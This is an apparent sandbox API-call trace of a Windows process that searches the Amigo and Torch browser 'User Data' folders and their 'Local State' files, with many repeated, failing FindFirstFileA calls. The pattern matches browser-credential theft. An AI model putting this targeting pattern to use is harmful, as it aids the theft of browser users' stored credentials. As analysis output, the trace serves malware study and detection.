[0052.766] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.766] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.766] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.766] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.766] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.766] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.766] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.766] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.766] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.766] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.766] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.766] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.766] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.766] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.766] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.766] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.766] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.766] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.766] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.767] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.767] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.767] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.767] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.767] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.767] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.770] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.770] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.770] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.770] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.770] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.770] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.770] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.770] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.771] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.771] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.771] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.771] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.771] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x181904 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0
[0052.771] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local"
[0052.771] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Torch\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\"
[0052.771] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\"
[0052.771] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\"
[0052.771] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\Local State"
[0052.771] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x67d910
[0052.771] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=65, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65
[0052.771] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x82) returned 0x67d968
[0052.771] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=65, lpWideCharStr=0x67d968, cchWideChar=65 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\Local State") returned 65
[0052.771] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x67d9f8
[0052.771] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d968 | out: hHeap=0x670000) returned 1
[0052.771] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\local state")) returned 0xffffffff
[0052.771] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9f8 | out: hHeap=0x670000) returned 1
[0052.772] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0052.772] wsprintfA (in: param_1=0x1818cc, param_2="%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*") returned 54
[0052.772] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*"), lpFindFileData=0x18178c | out: lpFindFileData=0x18178c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
[0052.772] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.772] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.772] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.772] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.772] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.772] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.772] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.772] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.772] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.772] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.772] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
